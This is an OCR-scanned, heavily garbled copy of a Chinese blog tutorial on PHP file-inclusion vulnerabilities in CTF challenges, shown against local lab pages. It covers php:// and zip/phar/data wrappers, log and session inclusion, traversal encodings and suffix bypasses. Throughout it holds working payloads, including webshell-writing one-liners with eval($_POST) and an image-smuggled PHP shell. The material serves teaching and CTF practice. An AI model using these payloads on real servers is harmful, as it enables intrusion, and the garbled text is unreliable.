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0x01 f+4 3B & RiA

HEPHP R G AR, EARXHEZEAELET SHEKRIE, AMERIET B, B RS BURSMNSOFRE 2
BEARLEN

0x02 3 & ¥ i I 36 B 2 5K

e allow_url_fopen=0On(ERI\AON) #E & 15 7o 1 MmFE AR 55 2% B W b ke 2% B0
e allow_url_include=On(php5.22 j5 BRI\ HOff) L€ =& & 5t ¥rinclude/requireim 2 314

0x03 % W& R

phpFH LB SO 6L 2 bR B0 LA DO


https://blog.csdn.net/qq_44766557
https://blog.csdn.net/qq_44766557/category_9504622.html
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e include()
e require()
e include_once()

e require()_once()
include 5require AR AHFEIR, BT 85 RAEE T H:

e include(), RAREL (E_WARNING) , FHHMAS%k4s:
o require(), &ERE MR (E_COMPILE_ERROR) &1L

e include_once()5require()_once(), WRXHEEE, WASEE, Hivfrtkw b

0x04 PHP {4 ¥ iX

PHP &4t 7 — T A /At (10) %, vl PHP B AR AaER A AR IR T, WA BE& 0 il
I ST A B AT DA R4 At i B N SO BRI 98 4%

—. php:/linput

php:/inputal BAY7 175 3R 89 R 46 8088 19 R 5230, K postiF R KIHE =4 fEphp QB HAT . & NS BUE NSTIF A $T TR, AT LK
S8 php:/linput, [F i postiB B B IS WA, phpit TS & Kipost B S ESCIF A& . T S BUE B ARBS AT -

POC:
?file=php://input
[POST DATA] <?php phpinfo(); ?>

Example 1: &St & REEHAT

meta charset
<?php

error_reporting(0);

$file = $ _GET[ 1;

if(stristr($file, stristr($file, stristr($file, stristr($fil
exit( );

}

if($file){

if ($file
include($file);
}else{

echo

?>
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@ Hackbar v x  tips: flagfEZaiBREEAN4H
Encryption¥ | Encoding ¥ PHP Version 5.5.30 php

@lload | { split | » Run

http://localhost:8081

/anheng/FileInclude/input
/index. php?file=php: System Windows NT DESKTOP-BHUACS3 10.0 build 17134 (Windows 10) i586
//input Build Date Sep 30 2015 13:44:04
Compiler MSVC11 (Visual C++ 2012)
Enable Post data Architecture x86
<?php phpinfo():2> Configure cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi* "--enable-
Command debug-pack” "--without-mssgl" "--without-pdo-mssql* "--without-pi3web" "--with-

pdo-oci=C\php-sdk\oracle\x86\instantclient10\sdk shared” "--with-oci8=C:\php-
sdk\oracle\x86\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle
\x86\instantclient11\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-
dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo"

[JEnable Referer
Server API Apache 2.0 Handler

Virtual Directory | enabled
Support

Confiauration CAWINDOWS

tips: flagEEHRIERIENHET 9009069 D 9cl909 DATA 906966919 ¢ 9 8046-5807 D:\PHPWAMP_IN3\wwwroot\anheng\FileInclude\input

@ Hackbar ~ X
.1 .
e QoL 2019/02/12 11:36
@iload | § split | » Run .2019/02/12 11:36
http://localhost:8081 .. 2019/01/20 23:53 42 202cb962ac59075b964b07152d234b70.txt 2019/02/12 15:43 413 index.php 2 ¢ 9 €19 455 €€ 2 9 &LY4 666,458,013,696
/anheng/FileInclude/input 000606
/index. php?file=php: !
//input

I Enable Post data
<?php system(’' dir’);?>

_IEnable Referer

© Hackbar v x  <?php echo “flag{202cb962ac59075b964} "; 2>

Encryption¥ | Encoding ¥
@lload | ¥ Split | * Run

http://localhost:8081
/anheng/FileInclude/input
/202cb962ac590750964b0715
2d234b70. txt

| Enable Post data

_lEnable Referer

¥ FHphp:/finputiE AT BLB A\ phpAK Ly Bl ZEpostrh4E& N in T A4HS .

<?PHP fputs(fopen('shell.php','w"'), '<?php @eval($_POST[cmd])?>"');?>




Example 2: X AL

<?php
show_source(__FILE_ );
include( )E

$a= $ GET[ 1;
if(isset($a)&&(file_get contents($a,

echo 5

echo $flag;

1
J

/Mflag.php

<?php

$flag = ‘flag{flag_is_here}’;
?>

Hittestphpil, LSHSa RN, HiIEEK AP ES Iwantflag'if, BIAI ER$flag. FFLART LLE FH php:/inputfs 2 R 44 i post
98, U7 19098 SR 0 JR AR B0 1 RV, 4 postid SR H 1 R /R APHP RIS PAT Rk 1T 563 .
vE: B3file_get contents()E 8 2 FH php//input&Eid .



(® Hackbar v x  <?php
show _source( FILE ):
Encryption¥ | Encoding ¥

@iload | § split | WRun |  include( flag.php’):
http://localhost:8081

/phpstudy/test. php?a=php: $a=
//input

$_GET [/’a/l] :
if(isset($a)&&(file_get contents($a,’ v’ ))== "1 want flag ){

»”» ”
Enable Post data echo success\n";

I want fl
wan a8 echo $§flag:
}
success flag{flag_is_here}
[1Enable Referer

—. php:/ffilter
php:/filterv] LIIREU TR & SCHRIG . BB S5EERBLE SR, php/fitterfi &t A Ephp SXHEHAT . Bt ATRAT— ot Hdt 47 9w ig
EHARHAT . AT T B AL RSO

POC1:
?file=php://filter/resource=xxx.php

POC2:

?file=php://filter/read=convert.basebd-encode/resource=xxx.php

POC1EEiZEox.php3lfF, HREZHIHERZERLEERE/REN KR TE L, BT ERIPOC2H k4 U N A 1T
base644wty J5 B/RTEN KA b, FBEATHEN.

*: EZphp/fliterF¥ERI S%: R —iKphp:/filterft) 2 F

Example 1:


https://www.leavesongs.com/PENETRATION/php-filter-magic.html

meta charset
<?php

error_reporting(9);
$file = $ GET[ 1;
if(stristr($file, stristr($file,
exit( )
)i
if($file){
include($file);

}else{

echo

?>

stristr($file,

stristr($file




1.5 HtipFERH AWM T RE, FEurl$ H B file=flag.php’, 17F:

(&) C @ @ localhost:8081/anheng/Filelnclude/filter/index.php?file=flag.php B 110% LTI % 4
}’\1 was Bdlsmss Bodisas @ Fixrkk xAmn [ sres D sEmne DB ares O sERi 16 srcs
@ Hackbar ~ x  flaggitEiX, Biaflagiiieil

Encryption¥ | Encoding ¥
(&l Load | & split | * Run |

http://localhost: 8081
/anheng/FileInclude
/filter

/index. php?file=flag. php

Enable Post data

[JEnable Referer

2.%iRkpayload: ?php:/filteriresource=flag.php, KIMLEBRAZE:

@ Hackbar v x flaggifoX, ¥5iaflagiireil

Encryption¥ | Encoding ¥
| Load |_}E Split | ' Run |

e e

/anheng/FileInclude .
/filter

/index. php?file=php:
//filter v

/resource=flag. php
Enable Post data

[ Enable Referer

3.2 payload: ?php:/filter/read=convert.base64-encode/resource=flag.php, 5%|—Hbase64 74, fEi4EfagrEflag.phpiEid
R R

@ Hackbar v x  PD9waHANCmVjaG8glmZsYWflsLHInKjov5nvvlznjlznjJxmbGFn6JeP5Zyo5Z70qljsNCi8vIGZsYWd7YTBiOTIzODIwZGNjNTA5YTZmNzU4NDIifQOKID8 + DQo=

Encryption¥ | Encoding ¥

@l Load %‘ Split . Run

/index. php?file=php: ~
//filter

/read=convert. base64~
encode v
/resource=flag. php

Enable Post data

[JEnable Referer

=. zip:/l

zip:/I FTCAT R B B E . HESEERBSE AN, dp/Rat S Epho X AT T SEBE R AR HAT.



o Zip//Hh R Eefe N4EXT 42

o EA#NMEAHEMEACENANE, HA#EMUFmE%23 (B FiRPOCH#E H%23% #)
o AFERZpMEL4CIT, FRAVUMERER.

o R KIKA A Zlib://Fbzip2://

POC:
zip: // [[EEEENERE 1+ FREENH]
?file=zip://D:\zip.Jjpgh23phpinfo.txt

Example 1:

meta charset

<?php
error_reporting(9);
$file = $ GET[ 1;

if (!$file) echo ;
if(stristr($file, )| |stristr($file, )| |stristr($file,
echo ;

exit();

}else{

include($file.

?>

flagfE AT B R+




meta charset
form action method enctype
input type name
input type value
form
you can upload jpg,png,zip....<br
<?php
if( isset( $ FILES[ 1)) {
$uploaded name = $ FILES[ 10 1;
$uploaded ext substr( $uploaded name, strrpos( $uploaded name,
$uploaded size = $ FILES[ 10 1;
$uploaded tmp $ FILES] 10 1;
$target path .md5(unigid(rand())). .$uploaded_ext;
if( ( strtolower( $uploaded ext ) strtolower( $uploaded ext ) strtolower(
( $uploaded size < 100000 ) ) {

if( !'move_uploaded file( $uploaded_tmp, $target_path ) ) {

echo 5

1
J
else {
echo .dirname(__FILE_ ). {$target_path}




/g, data://5 phar://

data:// FFK Sphp/input, FTUALER P RIBRAR, HESEERHSEEN, H WA K data/F S = EphpSCHERAT -
M-S BUE B AT .

POC:
data://[<MIME-type>][;charset=<encoding>][;baset4],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base6d, PD9waHAgcGhwaliSmbygpPzd=
?file=data:text/plain,<?php phpinfo()};
?file=data:text/plain;basetd,PDSwatiigcGhwaWsmbygpPzd=

phar:/l F S 25 zip://FIFEA] LS B AT B AR HAT .



o phar://FH AR X B AR A 4 5 B A A AT DAf3E

POC:
?file=phar://zip.jpe/phpinfo.txt
?file=phar://D:\zip.jpe\phpinfo.txt

0x05 3, & Apache H & 3C 4

WEBJRS5 &8 — B8 7 V5 FIERARAFEVT I H S . WARINWTUAMRE B EILRHKAR, HOMEER, EPHPAM
AR HECS, Ed A ERFRHIAT B E P RPHPAE .

FBEEET
« MEFEE
+ MEREHEEESR

=
- —IERTHEEEEESEEN, EE SRS BEE Y (httpd. conf, nginx. conf.... . )EEEIREphpinfo( ) PRISEFE
+ OECEMNIEEETLUTEZE, HCEBENEE, RBREiE.

Apacheiz {7 Jg — B BRIN S A A~ H &304, Windos F&&access.log (i H&E) Ferrorlog(#§iR H&), LinuxF 2
access_log#error_log, V5] H & XHEF T 27 Ui B4 K15 SRR IR 5538 1 B2 B A R (B .

R ] — AN BIRR,  Whttp/Aww.oox.com/<?php phpinfo(); 2>, £t &7 H &, (HERE G REURFEFLS B
PSSR, AT LB burpsuitSiid 4wRY, LRI LLIE<?php phpinfo(); 7> B Aapachef) H &304, R LB A4 HEX
P RAT BARS, (ERTHR R R15 A& apache H B U IIFEMERR 1, FTULA T Z2ME, Z3apachehf RENEMHBRINERL.

SHE: 188 HEXgetshell
2~ EREHEXMHKCTFE

0x06 £ % SESSION
AT LASEARYE X & BISESSIONIC f, ERIEX WA FK AR, EfiEpayload@ AR+, &EEEFEIA .
A 2 A -

o FSessionAK AL E
o Session3HA[EE, FHHEFMHEE

phpHsession3C 4 i R 17 B 42 7] LAZE phpinfof#)session.save_path& F.

session® W77 i #k2 :


https://www.cnblogs.com/my1e3/p/5854897.html
https://chybeta.github.io/2017/08/06/SHACTF-2017-Web-writeup/#Methon-Two

Ivar/lib/php/sess PHPSESSID

Ivar/lib/php/sess PHPSESSID

/tmp/sess_ PHPSESSID

/tmp/sessions/sess PHPSESSID
session3C & R: sess_[phpsessid], T phpsessid 7E &% KiE R i cookie FEH A LAFE F).

S E: —BSESSIONEEHICTFE

0x06 1 & /pros/self/lenviron

proc/selflenviron+ & - fFuser-agentsk, R fEuser-agent 3 AphpfREg, NphpREG&4 5 A Flenvirond, Z EEAEE, B
ml,

FIR %A -

e phpBlegir Rig1T, XFenvironF &{RFFUA.
o environ XX FEMEAL B B &1, Henvirond 4] 3L.

S# & proc/ self/ environ Injection

0x07 £ & Il B SC 44

HTTP PO ST with a file arrives
PHP begins analysis
PHP creates temp file
- PHP writes data to temp file
PHP closes temp file
script execution begins
[optional] script moves uploaded file

script execution ends
PHP removes temp files (if any)

Y Y YYY Y Y A A i >

time window

phpH B, SeIIEE X, Elinux FEHAmpE 3, TiEwindows 1 FHc:\winsdows\temp H 3% . 7E I B SCH- M B 2
B, RSB E A ZIE e S .



https://chybeta.github.io/2017/11/09/%25E4%25B8%2580%25E9%2581%2593CTF%25E9%25A2%2598%25EF%25BC%259APHP%25E6%2596%2587%25E4%25BB%25B6%25E5%258C%2585%25E5%2590%25AB/
http://websecuritylog.blogspot.com/2010/06/procselfenviron-injection.html

HTFEEREMERESH XML . —FMTERETRIIEMR, linux TR BEYLRECE B4, window F R H 655354 A [ 3L
s, BT TR AT

A — M5 LR EL & phpinfo T [H HIphp variables, 7] PAE 3R R B4 UGB EMIEN X4, BRI . XAMNFET
PLZ#%LFI With PHPInfo Assistance

P AR SR, RHNREEEH, FTUEEXECTFE: XMANE 4E-2017-babyweb-writeup

0x08 & L A& 3 fF
RE ML IEE RSO LAeThRe, tin: EMAELE. SO, X BaT ORI EAE — ARG B A AR S K7 R TR
B A S HET R, EemdiEH & THIA:

BEAL. jphFI2. phpHISCH H3RE, $AT:

copy 1.jpg/b+2.php 3.jpg

# B R 1. jpg MR & php RS HI2.php ST & I 42 BB 5 3.jpg

REC&E bE—aEER A RS RIRS S, BEEN /upload/201811.jpg
B ARIE T

<?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>

SRIFVFEURL:  http://www.xxxx.com/index.php?page=./upload/201811.jpg , WEXKE S, K27 index.php FIEK H 3%
TA AL shell.php

0x09 Al fu & & 54

o« BESMTP(H )

o WHxss

XA E RS Tk


https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
https://chybeta.github.io/2017/08/22/XMAN%25E5%25A4%258F%25E4%25BB%25A4%25E8%2590%25A5-2017-babyweb-writeup/

0x09 #5 xe B 4 5e it

—. BHFEH
R .. KR E _E—H3, $HRA B FIEF (Path Traversal). %40 ?file=../../phpinfo/phpinfo.php
TR F -

<?php

error_reporting(9);
$file = $_GET[ 1;

include $file;

<span class="token function">highlight_ file</span><span class="token punctuation">(</span><span class="

?>

WAETE varllog H 3 T X fHflag.txt, MIFIA.../ATCASEAT B FE 7, HmnIRAIZK 15 )«

include.php?file=../../log/flag.txt

T IR 55 28 3 Sz B H 48 Y SR B B8 42K variwww/html/. /. floghtest.txt, Bl var/logiflag.txt, MTTH & 3.

—. mhEs

IR 23R N T /A M — it g, T UAR — e gm g ki AT g .
1.5 H url4s 19



o %2e%2e%2f
o .%2f

* %2e%2el

e %2e%2e%5¢c
e _%5¢c

e %2e%2e\
pRe/ ¢ 1]

o ./
* %252e%252e%252f
e .\

* %252e%252e%255¢c

3.5 4% AR 5 4% B 4w 15 75 5%

..%c0%af

e JE£: Why does Directory traversal attack %C0%AF work?

%c0%ae%c0%ae/

o 7E: javat &H"%c0%ae f# T N"\UCOAE”, B /5% X NASCCIFRFHI". (5D
Apache Tomcat Directory Traversal

e %c1%9c

0x10 #5 & J5 & 5aid

FRGEMARGEIT, TREFRGS 75 %256 HA:
<?php
error_reporting(9);

$file = $_GET[ 1;

include $file. ;

<span class="token function">highlight file</span><span class="token punctuation">(</span><span class="



https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work

7>

—. FHurl

EEFEHEEIFE (RFD 1, v LARIHquerysifragmentsk Seid 5 42 FR il .
A[S%E W E: URls fragment

SER U R

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

o [ilA|Z%] *file=http://localhost:8081/phpinfo.php?

o [HH¥EJT] ?file=http://localhost:8081/phpinfo.php?.txt


https://www.jianshu.com/p/2c07fbb52b45

Example: (R7ER HF T Hflag2.txt3#4)

@ Hackbar v X

Encryption¥ | Encoding ¥

‘@i Load I ﬂ Split I * Run
http://localhost:8081
/anheng/FileInclude
/index3. php?file=http:
//localhost:8081
/phpinfo. php?

Enable Post data

[ Enable Referer

@ Hackbar v x  flag{this is flag} <2php

error_reporting(0) ;

System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
Edition) i586

Build Date Jan 6 2011 17:50:45

Compiler MSVC6 (Visual C++ 6.0)

Architecture x86

Configure cscript /nologo configure,js "--enable-snapshot-build" "--disable-isapi” "—enable-

Command debug-pack” "--disable-isapi® "--without-mssql” "--without-pdo-mssgl™ "--
without-pi3web" "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared"
"--with-oci8=D:\php-sdk\oracle\instantclient1 O\sclk shared" "--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared" "--enable-object-out-
dir=../obj/" "--enable-com-dotnet" "--with-mcrypt=static®

Server API Apache 2.0 Handler

Virtual Directory

Sunnort

Encryption¥ | Encoding ¥ $file = $_GET["file”];
@lload | 4 split | +/Run | 5 %
http://localhost: 8081 include $file.”. txt’;
/anheng/FileTnclude
/index3. php?file=http: highlight file( FILE ):
//localhost:8081 Pl

/flag?. txt?

Enable Post data

[T Enable Referer

fragment(#)

enabled

o [ji1Z%L] »file=http://localhost:8081/phpinfo.php%23

o [HHEE]

?file=http://localhost:8081/phpinfo.php#.txt




Example: C(R7EMR B T Hflag2.txt3#4)

@ Hackbar ~ X
Encryption¥ | | Encoding ¥
‘i Load I @ Split I ' Run I
http://localhost:8081
/anheng/FileInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=http: Edition) i586
//localhost:8081 Build Date Jan 6 2011 17:50:45
/phpinfo. php%23 Compiler MSVC6 (Visual C++ 6.0)
Enable Post data Architecture x86
Configure cscript /nologo configure.js "--enable-snapshot-build” "--disable-isapi® "--enable-
Command debug-pack” "--disable-isapi” "--without-mssql" "--without-pdo-mssql” "--

without-pi3web” "--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk,shared”
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared” "--with-
oci8-11g=D:\php-sdk\oracle\instantclient11\sdk,shared” "--enable-object-out-
dir=../obj/" "--enable-com-dotnet" "--with-mcrypt=static”

[ Enable Referer Server AP| Apache 2.0 Handler
\_Iirtual !)irectory enabled
€ Hackbar ~ x  flagfthis is flag} <?php
error_reporting (0) :

Encryption¥ | Encoding ¥ $§file = § GET ["file”]:
@iload | § split | »Run | =

http://localhost:8081 include $file.”. txt";

/anheng/FileInclude

/index3. php?file=http: highlight file( FILE );

//localhost:8081 2>

/flag?. txt%23

Enable Post data

[1Enable Referer

—. PA
FAzp:/ifiphar//, BHTEANEHGHERINKTESE, B RATEMEMNKER, ETLLECHRE.
zip:/l
o [ilAZ41] ?file=zip://D:\zip.Jjpg%23phpinfo
o [PfH2J5] ?file=zip://D:\zip.Jjpg#phpinfo.txt
phar://
L [iﬁl‘lﬂfgiﬁ] ?file=phar://zip.zip/phpinfo

o [PfH#E)5] ?Ffile=phar://zip.zip/phpinfo.txt

Example:
(RIFABER H F P HAphpzipE4E, W& phpinfo.txt, HAHaERIG<?php phpinfo();?>))
Bt LA 43 5l #4938 payload A4 -



?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo

€@ Hackbar v X

PHP Version 5.3.5 Php

Encryption¥ | Encoding ¥
wiload | [ split | » Run
http://localhost:8081

/anheng/FilelInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=zip: Edition) i586
//D: \PHPWAMP_IN3\wwwroot Build Date Jan 6 2011 17:50:45
\php. ziph23phpinfo Compiler MSVC6 (Visual C++ 6.0)
Enable Post data Architecture x86
Configure cscript /nologo configure.js *--enable-snapshot-build" *--disable-isapi® "--enable-

Command debug-pack” "--disable-isapi® "--without-mssql” "--without-pdo-mssql” "--
without-pi3web" "--with-pdo-o :\php-sdk\oracle\instantclient10\sdk,shared"”
"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-
oci8-11g=D:\php-sdk\oraclevinstantclient1 1\sdk,shared" "--enable-object-out-
dir=../obj/" "--enable-com-dotnet” "--with-mcrypt=static®

[ Enabie Referer Server API Apache 2.0 Handler
Virtual Directory |enabled
Support
Configuration CAWINDOWS
File (php.ini)

?file=phar://../../php.zip/phpinfo

€@ Hackbar v X

PHP Version 5.3.5 php

Encryption¥ | Encoding ¥

&l Load L{ Split ' Run

http://localhost:8081

/anheng/FileInclude System Windows NT DESKTOP-BHUACS3 6.2 build 9200 (Windows 7 Home Premium
/index3. php?file=phar: Edition) i586
//../../php. zip/phpinfo Build Date Jan 6 2011 17:50:45
Compiler MSVC6 (Visual C++ 6.0)
Enable Post data Architecture x86
Configure cscript /nologo configure.js "--enable-snapshot-build® *--disable-isapi® "--enable-
Command debug-pack” "--disable-isapi” "--without-mssql” "--without-pdo-mssqgl" "--

without-pi3web" "--with-pdo-oci=D:\php-sdk\oracleinstantclient10\sdk,shared"

"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk,shared" "--with-
oci8-11g php-sdk\oracleinstantclient11\sdk,shared" "--enable-object-out-
dir=../obj/" *--enable-com-dotnet" "--with-mcrypt=static”
D enable Referer Server API Apache 2.0 Handler
Virtual Directory |enabled

Support
Configuration CAWINDOWS

=, KEEK
FI %A

o phpfii7s < php 5.2.8
JR

e WindowsF H R\ AKE N256FH, @HKMrHEFR

o LinuxF HRHERKER4096FT, BHKEISHEF,
R J5 i

REEARAWRES (Windows R T AT LLE R . i)

*file=./././o o o &WE. o o ././shell.php




W8 € i) JG R SRR B BN E RSB EEEFH
m N o/oOOﬁ w%
R %A

e magic_quotes_gpc = Off

o phpiR7A < php 5.3.4
P T ¥k

BLRAE SUHE 4 I 5 N b %00 SRR i 8 58 ) J5 4 42

?file=shell.php%00

E: BAERE %00 BKIERCEARE T

A AL TR B

allow_url_includefallow_url_fopen# /MR 1k
% B open_basedir (open_basedir ¥ phppi 88 T I i 3C 4 BR il £ 78 %2 i H F W)

B4 BRSO, REHREE ./

</div>
<link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-526ced5128.css" rel="styleshe
et">
</div>
</article>

<div class="postTime">

<div class="article-bar-bottom">
<span class="time">
YERERMT: 2019-02-13 00:15:33 </span>




	CTF文件包含总结
	CTF中文件包含漏洞总结
	0x01 什么是文件包含漏洞
	0x02 文件包含漏洞的环境要求
	0x03 常见文件包含函数
	0x04 PHP伪协议
	一、php://input
	二、php://filter
	三、zip://
	四、data://与phar://

	0x05 包含Apache日志文件
	0x06 包含SESSION
	0x06 包含/pros/self/environ
	0x07 包含临时文件
	0x08 包含上传文件
	0x09 其他包含姿势

	文件包含漏洞的绕过方法
	0x09 指定前缀绕过
	一、目录遍历
	二、编码绕过

	0x10 指定后缀绕过
	一、利用url
	二、利用协议
	三、长度截断
	四、%00截断


	文件包含漏洞防御

